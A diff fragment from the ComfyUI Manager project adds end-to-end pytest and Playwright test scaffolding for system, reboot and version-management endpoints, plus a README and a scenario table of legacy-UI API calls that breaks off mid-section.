|
||||
data = resp.json()
|
||||
for item in data.get("items", []):
|
||||
assert isinstance(item, str), (
|
||||
f"Snapshot item should be a string, got {type(item)}: {item}"
|
||||
)
|
||||
@@ -0,0 +1,239 @@
|
||||
"""E2E tests for ComfyUI Manager system information endpoints.
|
||||
|
||||
Tests the system-level endpoints:
|
||||
- GET /v2/manager/version — manager version string
|
||||
- GET /v2/manager/is_legacy_manager_ui — legacy UI flag
|
||||
- POST /v2/manager/reboot — server reboot (last test)
|
||||
|
||||
The reboot test is intentionally placed LAST because it triggers a
|
||||
server restart. After POST, the test polls until the server comes back.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_system_info.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# Reboot requires longer polling — server must fully restart
|
||||
REBOOT_TIMEOUT = 60
|
||||
REBOOT_INTERVAL = 2.0
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=30, interval=0.5):
|
||||
"""Poll *predicate* until it returns True or *timeout* seconds elapse."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
def _server_is_healthy():
|
||||
"""Check if the ComfyUI server responds to a health endpoint."""
|
||||
try:
|
||||
resp = requests.get(f"{BASE_URL}/system_stats", timeout=5)
|
||||
return resp.status_code == 200
|
||||
except requests.ConnectionError:
|
||||
return False
|
||||
except requests.Timeout:
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — version
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestManagerVersion:
|
||||
"""Test GET /v2/manager/version."""
|
||||
|
||||
def test_version_returns_string(self, comfyui):
|
||||
"""GET /v2/manager/version returns a non-empty version string."""
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/version", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}"
|
||||
)
|
||||
version = resp.text
|
||||
assert isinstance(version, str), (
|
||||
f"Expected string response, got {type(version).__name__}"
|
||||
)
|
||||
assert len(version.strip()) > 0, "Version string should not be empty"
|
||||
|
||||
def test_version_is_stable(self, comfyui):
|
||||
"""Consecutive calls return the same version (no mutation)."""
|
||||
resp1 = requests.get(f"{BASE_URL}/v2/manager/version", timeout=10)
|
||||
resp1.raise_for_status()
|
||||
resp2 = requests.get(f"{BASE_URL}/v2/manager/version", timeout=10)
|
||||
resp2.raise_for_status()
|
||||
assert resp1.text == resp2.text, (
|
||||
f"Version changed between calls: {resp1.text!r} vs {resp2.text!r}"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — is_legacy_manager_ui
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestIsLegacyManagerUI:
|
||||
"""Test GET /v2/manager/is_legacy_manager_ui."""
|
||||
|
||||
def test_returns_boolean_field(self, comfyui):
|
||||
"""GET /v2/manager/is_legacy_manager_ui returns False in E2E env.
|
||||
|
||||
WI-T Cluster G target 5 (research-cluster-g.md Target 2):
|
||||
Strengthened from type-only `isinstance(bool)` to exact-value `is False`.
|
||||
|
||||
Launcher-deterministic: `tests/e2e/scripts/start_comfyui.sh` passes
|
||||
only `--cpu --enable-manager --port` — NO `--enable-manager-legacy-ui`.
|
||||
`action='store_true'` on that flag defaults to False, so the handler
|
||||
at `glob/manager_server.py:1500-1506` must return
|
||||
`{"is_legacy_manager_ui": False}`.
|
||||
|
||||
If the E2E launcher ever starts passing `--enable-manager-legacy-ui`,
|
||||
this assertion fails loudly with a clear pointer — correct behavior.
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/is_legacy_manager_ui", timeout=10
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "is_legacy_manager_ui" in data, (
|
||||
f"Response missing 'is_legacy_manager_ui' field: {data}"
|
||||
)
|
||||
assert data["is_legacy_manager_ui"] is False, (
|
||||
f"E2E launcher omits --enable-manager-legacy-ui; expected False, "
|
||||
f"got {data['is_legacy_manager_ui']!r}. "
|
||||
f"If start_comfyui.sh was changed to pass that flag, update this assertion."
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — reboot (MUST BE LAST — server restarts)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestReboot:
|
||||
"""Test POST /v2/manager/reboot.
|
||||
|
||||
This test MUST run last in the module because a successful reboot
|
||||
terminates or replaces the server process. The test polls until the
|
||||
server comes back (or times out).
|
||||
"""
|
||||
|
||||
def test_reboot_and_recovery(self, comfyui):
|
||||
"""POST /v2/manager/reboot triggers restart; server comes back."""
|
||||
# Verify server is running before reboot
|
||||
assert _server_is_healthy(), "Server not healthy before reboot test"
|
||||
|
||||
# Record pre-reboot version for comparison
|
||||
pre_version = requests.get(
|
||||
f"{BASE_URL}/v2/manager/version", timeout=10
|
||||
).text
|
||||
|
||||
# Trigger reboot — server may drop connection mid-response
|
||||
try:
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/reboot", timeout=10)
|
||||
if resp.status_code == 403:
|
||||
pytest.skip(
|
||||
"Reboot denied by security policy "
|
||||
"(security_level does not allow 'middle')"
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200 or 403 from reboot, got {resp.status_code}"
|
||||
)
|
||||
except requests.ConnectionError:
|
||||
# Server dropped connection during reboot — expected behavior
|
||||
pass
|
||||
|
||||
# Give the server a moment to begin shutdown
|
||||
time.sleep(2)
|
||||
|
||||
# Poll until server comes back
|
||||
recovered = _wait_for(
|
||||
_server_is_healthy,
|
||||
timeout=REBOOT_TIMEOUT,
|
||||
interval=REBOOT_INTERVAL,
|
||||
)
|
||||
assert recovered, (
|
||||
f"Server did not recover within {REBOOT_TIMEOUT}s after reboot"
|
||||
)
|
||||
|
||||
# Verify server is functional after reboot
|
||||
post_version = requests.get(
|
||||
f"{BASE_URL}/v2/manager/version", timeout=10
|
||||
).text
|
||||
assert post_version == pre_version, (
|
||||
f"Version changed after reboot: {pre_version!r} -> {post_version!r}"
|
||||
)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,242 @@
|
||||
"""E2E tests for ComfyUI Manager version management endpoints.
|
||||
|
||||
Exercises the version management endpoints on a running ComfyUI instance:
|
||||
- GET /v2/comfyui_manager/comfyui_versions — list versions + current
|
||||
- POST /v2/comfyui_manager/comfyui_switch_version — switch version (negative tests only)
|
||||
|
||||
Scenario:
|
||||
List versions → verify response has 'versions' array and 'current'
|
||||
string. For switch_version: test missing params returns 400 (actual
|
||||
version switching is destructive and NOT tested here).
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_version_mgmt.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestComfyUIVersions:
|
||||
"""Verify /v2/comfyui_manager/comfyui_versions response structure."""
|
||||
|
||||
def test_versions_response_contract(self, comfyui):
|
||||
"""GET /v2/comfyui_manager/comfyui_versions — full response contract.
|
||||
|
||||
Merged by WI-NN (bloat Priority 3, Cluster 7): absorbs the four previous
|
||||
single-GET tests (test_versions_endpoint + test_versions_list_not_empty +
|
||||
test_versions_items_are_strings + test_current_is_in_versions) into one
|
||||
contract block. All 4 original tests hit the same endpoint; merging
|
||||
removes 3 redundant round-trips and keeps every unique assertion.
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/comfyui_manager/comfyui_versions", timeout=10
|
||||
)
|
||||
# (a) status + top-level schema (was test_versions_endpoint)
|
||||
assert resp.status_code == 200, (
|
||||
f"comfyui_versions failed with status {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "versions" in data, "Response missing 'versions' field"
|
||||
assert "current" in data, "Response missing 'current' field"
|
||||
assert isinstance(data["versions"], list), (
|
||||
f"'versions' should be a list, got {type(data['versions'])}"
|
||||
)
|
||||
assert isinstance(data["current"], str), (
|
||||
f"'current' should be a string, got {type(data['current'])}"
|
||||
)
|
||||
|
||||
# (b) versions list is non-empty (was test_versions_list_not_empty)
|
||||
assert len(data["versions"]) > 0, (
|
||||
"Expected at least one version in the list"
|
||||
)
|
||||
|
||||
# (c) every entry is a string (was test_versions_items_are_strings)
|
||||
for v in data["versions"]:
|
||||
assert isinstance(v, str), (
|
||||
f"Version entry should be a string, got {type(v)}: {v}"
|
||||
)
|
||||
|
||||
# (d) current appears in versions list (was test_current_is_in_versions).
|
||||
# Keep the "empty current" guard — handler emits "" if git state can't
|
||||
# resolve a tag, which is non-ideal but not a contract violation.
|
||||
if data["current"] and data["versions"]:
|
||||
assert data["current"] in data["versions"], (
|
||||
f"Current version '{data['current']}' not found in versions list"
|
||||
)
|
||||
|
||||
|
||||
class TestSwitchVersionNegative:
|
||||
"""Negative tests for /v2/comfyui_manager/comfyui_switch_version.
|
||||
|
||||
Actual version switching is destructive and NOT exercised.
|
||||
Only error paths (missing params, validation failures) are tested.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"req_params",
|
||||
[
|
||||
pytest.param(None, id="no-params"),
|
||||
pytest.param({"ver": "v1.0.0"}, id="partial-params-ver-only"),
|
||||
],
|
||||
)
|
||||
def test_switch_version_missing_required_params_rejected(self, comfyui, req_params):
|
||||
"""POST without full (ver, client_id, ui_id) must be rejected.
|
||||
|
||||
WI-OO Item 5 (bloat dbg:ci-018 B9+B1): merges the previously-separate
|
||||
`missing_all_params` and `missing_client_id` tests. At the default
|
||||
security_level=normal the high+ gate returns 403 BEFORE any param
|
||||
validation runs, so both fully-empty and partial-param requests
|
||||
exercise the same rejection path. Parametrized across both input
|
||||
equivalence classes — keeps both inputs exercised as distinct
|
||||
pytest invocations for diagnostics, without duplicating the body.
|
||||
|
||||
WI #258: Migrated from query-string (params=) to JSON body (json=).
|
||||
When req_params is None we send no body at all (bare POST).
|
||||
"""
|
||||
url = f"{BASE_URL}/v2/comfyui_manager/comfyui_switch_version"
|
||||
if req_params is None:
|
||||
resp = requests.post(url, timeout=10)
|
||||
else:
|
||||
resp = requests.post(url, json=req_params, timeout=10)
|
||||
assert resp.status_code in (400, 403), (
|
||||
f"Expected 400 or 403 for missing/partial params "
|
||||
f"(req_params={req_params!r}), got {resp.status_code}"
|
||||
)
|
||||
|
||||
def test_switch_version_validation_error_body(self, comfyui):
|
||||
"""Validation error (400) returns structured Pydantic error body.
|
||||
|
||||
WI-L strengthening: previously accepted 'error field present OR plain
|
||||
text'. The contract is stricter — the ValidationError path emits
|
||||
exactly:
|
||||
{"error": "Validation error", "details": [<pydantic error entries>]}
|
||||
We now assert the full schema: the `error` sentinel string, the
|
||||
`details` list, and that each detail entry carries the Pydantic
|
||||
triplet (loc / msg / type). This defeats a regression where the server
|
||||
falls through to the generic `except Exception` branch (which returns
|
||||
status=400 with an EMPTY body — would currently still pass old check).
|
||||
|
||||
WI #258: Send a well-formed JSON body with required fields missing
|
||||
to reach the Pydantic validator (not the json.JSONDecodeError branch,
|
||||
which produces a plain-text 400). An empty JSON object {} fails the
|
||||
required-field check for `ver`/`client_id`/`ui_id` uniformly.
|
||||
"""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/comfyui_manager/comfyui_switch_version",
|
||||
json={},
|
||||
timeout=10,
|
||||
)
|
||||
if resp.status_code == 403:
|
||||
pytest.skip(
|
||||
"Server security level blocks switch_version with 403 before "
|
||||
"validation runs; validation-error-body contract not reachable"
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 validation error, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
# Pydantic validation returns JSON with 'error' + 'details' list.
|
||||
try:
|
||||
data = resp.json()
|
||||
except requests.exceptions.JSONDecodeError:
|
||||
pytest.fail(
|
||||
f"400 response should be JSON but got plain text: {resp.text[:200]}"
|
||||
)
|
||||
assert "error" in data, (
|
||||
f"400 response must include 'error' field, got: {data!r}"
|
||||
)
|
||||
assert data["error"] == "Validation error", (
|
||||
f"'error' field must be the exact 'Validation error' sentinel, got {data['error']!r}"
|
||||
)
|
||||
assert "details" in data, (
|
||||
f"400 response must include 'details' list, got: {data!r}"
|
||||
)
|
||||
details = data["details"]
|
||||
assert isinstance(details, list), (
|
||||
f"'details' must be a list, got {type(details).__name__}"
|
||||
)
|
||||
assert len(details) >= 1, (
|
||||
"'details' must contain at least one Pydantic error entry, got empty list"
|
||||
)
|
||||
# Each entry is a Pydantic error dict with canonical keys.
|
||||
for i, entry in enumerate(details):
|
||||
assert isinstance(entry, dict), (
|
||||
f"details[{i}] must be a dict, got {type(entry).__name__}"
|
||||
)
|
||||
for required_key in ("loc", "msg", "type"):
|
||||
assert required_key in entry, (
|
||||
f"details[{i}] missing Pydantic key {required_key!r}: {entry!r}"
|
||||
)
|
||||
@@ -0,0 +1,36 @@
|
||||
"""Execute the legacy renderer without starting ComfyUI or its network threads."""
|
||||
import ast
|
||||
import importlib.util
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import types
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
PACKAGE = ROOT / 'comfyui_manager'
|
||||
|
||||
|
||||
def load_functions(path, names, namespace=None):
|
||||
namespace = {} if namespace is None else namespace
|
||||
nodes = [node for node in ast.parse(path.read_text(encoding='utf-8')).body
|
||||
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name in names]
|
||||
assert len(nodes) == len(names)
|
||||
exec(compile(ast.Module(nodes, []), str(path), 'exec'), namespace)
|
||||
return namespace
|
||||
|
||||
|
||||
def load_renderer():
|
||||
path = PACKAGE / 'legacy/html_utils.py'
|
||||
spec = importlib.util.spec_from_file_location('_legacy_html_utils', path)
|
||||
helpers = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(helpers)
|
||||
util = load_functions(PACKAGE / 'common/manager_util.py', {'sanitize_tag'})
|
||||
return load_functions(PACKAGE / 'legacy/manager_server.py', {'convert_markdown_to_html', 'populate_markdown'},
|
||||
{'re': re, 'html_utils': helpers, 'manager_util': types.SimpleNamespace(**util)})
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
item = json.load(sys.stdin)
|
||||
load_renderer()['populate_markdown'](item)
|
||||
print(json.dumps(item))
|
||||
@@ -0,0 +1,52 @@
|
||||
# Playwright E2E Tests — Legacy Manager UI
|
||||
|
||||
Browser-based E2E tests for the ComfyUI-Manager legacy UI.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1. **E2E environment** built via `python tests/e2e/scripts/setup_e2e_env.py`
|
||||
2. **Playwright runner and Chromium** (from the repository root):
|
||||
`npm install --no-save --package-lock=false @playwright/test@1.59.1`, then
|
||||
`npx playwright install chromium`.
|
||||
3. **ComfyUI running** with legacy UI enabled:
|
||||
|
||||
```bash
|
||||
E2E_ROOT=/tmp/e2e_full_test
|
||||
PORT=8199
|
||||
PYTHONPATH="$PWD" $E2E_ROOT/venv/bin/python $E2E_ROOT/comfyui/main.py \
|
||||
--listen 127.0.0.1 --port $PORT \
|
||||
--enable-manager --enable-manager-legacy-ui \
|
||||
--cpu
|
||||
```
|
||||
|
||||
## Running Tests
|
||||
|
||||
Run from the repository root. XSS fixtures execute the checkout's Python renderer
|
||||
using `python3`; set `PYTHON=/path/to/python` to select another interpreter.
|
||||
|
||||
```bash
|
||||
# With server already running:
|
||||
PORT=8199 npx playwright test
|
||||
|
||||
# Single file:
|
||||
PORT=8199 npx playwright test tests/playwright/legacy-ui-manager-menu.spec.ts
|
||||
|
||||
# Headed (visible browser):
|
||||
PORT=8199 npx playwright test --headed
|
||||
|
||||
# Debug mode:
|
||||
PORT=8199 npx playwright test --debug
|
||||
```
|
||||
|
||||
## Test Files
|
||||
|
||||
| File | Scenarios |
|
||||
|------|-----------|
|
||||
| `legacy-ui-manager-menu.spec.ts` | Menu dialog rendering, settings dropdowns, API round-trip |
|
||||
| `legacy-ui-custom-nodes.spec.ts` | Node list grid, filter, search, footer buttons |
|
||||
| `legacy-ui-model-manager.spec.ts` | Model list grid, filter, search |
|
||||
| `legacy-ui-snapshot.spec.ts` | Snapshot list, save, remove |
|
||||
| `legacy-ui-navigation.spec.ts` | Dialog open/close, nested navigation, no duplicates |
|
||||
| `custom-nodes-xss.spec.ts` | Node metadata, Markdown, links, errors, search highlighting |
|
||||
| `model-manager-xss.spec.ts` | Model metadata, links, errors, search highlighting |
|
||||
| `legacy-message-errors.spec.ts` | Batch rejection IDs, name readability, DOM colors, lookup errors |
|
||||
@@ -0,0 +1,202 @@
|
||||
# Legacy UI Playwright E2E — Test Scenarios
|
||||
|
||||
Scenario list based on the actual API call flow of the Legacy UI (runtime-verified).
|
||||
|
||||
## URL Convention
|
||||
|
||||
ComfyUI's `api.fetchApi()` automatically prepends the `/api` prefix to every path.
|
||||
- JS call: `fetchApi('/v2/manager/db_mode')` → actual request: `GET /api/v2/manager/db_mode`
|
||||
- When intercepted by Playwright `route`, the URL is captured in the `/api/v2/...` form.
|
||||
|
||||
## Install Flow (Runtime-verified)
|
||||
|
||||
```
|
||||
[Install button click]
|
||||
→ GET /api/v2/customnode/versions/{id} ← list available versions
|
||||
→ Version-selection dialog (<select multiple> + "Select"/"Cancel")
|
||||
→ "Select" click
|
||||
→ POST /api/v2/manager/queue/batch ← actual install request
|
||||
body: {"install":[{...nodeData, selected_version:"latest"}], "batch_id":"uuid"}
|
||||
→ WebSocket push: cm-queue-status
|
||||
{status:"in_progress", done_count, total_count}
|
||||
{status:"batch-done", nodepack_result:{"hash":"success"}}
|
||||
{status:"all-done"}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 1. API calls at Manager Menu initialization
|
||||
|
||||
**File**: `legacy-ui-manager-menu.spec.ts` (existing + enhanced)
|
||||
|
||||
5 API calls made concurrently when the Manager Menu opens (runtime-verified):
|
||||
|
||||
| # | Scenario | Assertion | Endpoint |
|
||||
|---|---------|------|----------|
|
||||
| 1-1 | DB mode loading | Dropdown value shown | `GET /api/v2/manager/db_mode` |
|
||||
| 1-2 | Channel list loading | Dropdown options shown | `GET /api/v2/manager/channel_url_list` |
|
||||
| 1-3 | Update policy loading | Dropdown value shown | `GET /api/v2/manager/policy/update` |
|
||||
| 1-4 | Notice loading | Right panel text is non-empty | `GET /api/v2/manager/notice` |
|
||||
| 1-5 | DB mode change round-trip | POST → GET verification | `POST /api/v2/manager/db_mode` |
|
||||
| 1-6 | Policy change round-trip | POST → GET verification | `POST /api/v2/manager/policy/update` |
|
||||
| 1-7 | Channel change round-trip | POST → GET verification | `POST /api/v2/manager/channel_url_list` |
|
||||
|
||||
## 2. Custom Nodes Manager — list retrieval
|
||||
|
||||
**File**: `legacy-ui-custom-nodes.spec.ts` (existing + enhanced)
|
||||
|
||||
2 API calls made when the Custom Nodes Manager opens (runtime-verified):
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 2-1 | List loading (cache) | Open Custom Nodes Manager | Grid rows > 0 | `GET /api/v2/customnode/getlist?mode=cache&skip_update=true` |
|
||||
| 2-2 | Mapping loading | (concurrent with list) | Request observed | `GET /api/v2/customnode/getmappings?mode=cache` |
|
||||
| 2-3 | Installed filter | Filter → "Installed" | rows ≤ All | Client-side filter |
|
||||
| 2-4 | Not Installed filter | Filter → "Not Installed" | rows > 0 | Client-side filter |
|
||||
| 2-5 | Import Failed filter | Filter → "Import Failed" | Filter works | Client-side filter |
|
||||
| 2-6 | Check Update | "Check Update" button | Filter flips to "Update", API re-called | `GET /api/v2/customnode/getlist?mode=cache` (no `skip_update`) |
|
||||
| 2-7 | Check Missing | "Check Missing" button | Filter flips to "Missing" | `GET /api/v2/customnode/getmappings?mode=cache` |
|
||||
| 2-8 | Alternatives filter | Filter → "Alternatives of A1111" | Data loads | `GET /api/customnode/alternatives?mode=cache` |
|
||||
|
||||
## 3. Full node install lifecycle
|
||||
|
||||
**File**: `legacy-ui-node-lifecycle.spec.ts` (new)
|
||||
|
||||
Install flow: Install button → versions API → version-selection dialog → Select → queue/batch → WebSocket status push
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 3-1 | Install — version query | "Not Installed" → "Install" click | Version-list dialog appears | `GET /api/v2/customnode/versions/{id}` |
|
||||
| 3-2 | Install — select version + send batch | Pick version in `<select>` → "Select" click | `queue/batch` called with `install` key in body | `POST /api/v2/manager/queue/batch` |
|
||||
| 3-3 | Install — WebSocket status | Install runs | `cm-queue-status` messages: in_progress → batch-done → all-done | WebSocket |
|
||||
| 3-4 | Uninstall | "Installed" → "Uninstall" click → confirm dialog "OK" | `uninstall` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
| 3-5 | Disable | "Installed" → "Disable" click | `disable` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
| 3-6 | Enable | "Disabled" → "Enable" click → pick version | `install` key + `skip_post_install:true` in batch body | `GET disabled_versions/{id}` → `POST queue/batch` |
|
||||
| 3-7 | Update | "Installed" → "Try update" click | `update` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
| 3-8 | Fix | import-fail node → "Try fix" click | `fix` key in batch body (skip if none) | `POST /api/v2/manager/queue/batch` |
|
||||
|
||||
## 4. Version management
|
||||
|
||||
**File**: `legacy-ui-node-versions.spec.ts` (new)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 4-1 | Installed node version list | "Installed" → "Switch Ver" click | Version list shown in `<select multiple>` dialog | `GET /api/v2/customnode/versions/{id}` |
|
||||
| 4-2 | Disabled node version list | "Disabled" → "Enable" click | `disabled_versions` call observed | `GET /api/v2/customnode/disabled_versions/{id}` |
|
||||
|
||||
## 5. Batch operations + stop
|
||||
|
||||
**File**: `legacy-ui-batch-operations.spec.ts` (new)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 5-1 | Update All | Manager Menu → "Update All" click | `update_all` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
| 5-2 | Update ComfyUI | Manager Menu → "Update ComfyUI" click | `update_comfyui` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
| 5-3 | Stop (Manager Menu) | "Restart" toggle → "Stop" click | `queue/reset` invoked | `POST /api/v2/manager/queue/reset` |
|
||||
| 5-4 | Stop (Custom Nodes Manager) | "Stop" button click | `queue/reset` invoked | `POST /api/v2/manager/queue/reset` |
|
||||
|
||||
Note: `queue/abort_current` is not called directly from JS (server-only). Stop uses `queue/reset`.
|
||||
|
||||
## 6. Git URL / PIP install
|
||||
|
||||
**File**: `legacy-ui-install-methods.spec.ts` (new)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 6-1 | Git URL install | "Install via Git URL" → enter URL → confirm | 200 or 403 | `POST /api/v2/customnode/install/git_url` |
|
||||
| 6-2 | Git URL cancel | "Install via Git URL" → cancel | No API call | — |
|
||||
| 6-3 | PIP package install | "Install PIP packages" → enter package name | 200 or 403 | `POST /api/v2/customnode/install/pip` |
|
||||
|
||||
## 7. Import failure details
|
||||
|
||||
**File**: `legacy-ui-custom-nodes.spec.ts` (enhanced)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 7-1 | Import failure details | "Import Failed" filter → "IMPORT FAILED ↗" click | Error dialog appears | `POST /api/v2/customnode/import_fail_info` |
|
||||
|
||||
Note: skipped when no import-failed nodes are present.
|
||||
|
||||
## 8. Model management
|
||||
|
||||
**File**: `legacy-ui-model-manager.spec.ts` (existing + enhanced)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
||||
|---|---------|---------|------|----------|
|
||||
| 8-1 | Model list loading | Open Model Manager | Grid rows > 0 | `GET /api/v2/externalmodel/getlist?mode=cache` |
|
||||
| 8-2 | Model search | Enter query | Grid filtered | Client-side filter |
|
||||
| 8-3 | Model install | Row's "Install" click | `install_model` key in batch body | `POST /api/v2/manager/queue/batch` |
|
||||
|
||||
## 9. Full snapshot lifecycle
|
||||
|
||||
**File**: `legacy-ui-snapshot.spec.ts` (existing + enhanced)
|
||||
|
||||
| # | Scenario | UI action | Assertion | Endpoint |
|
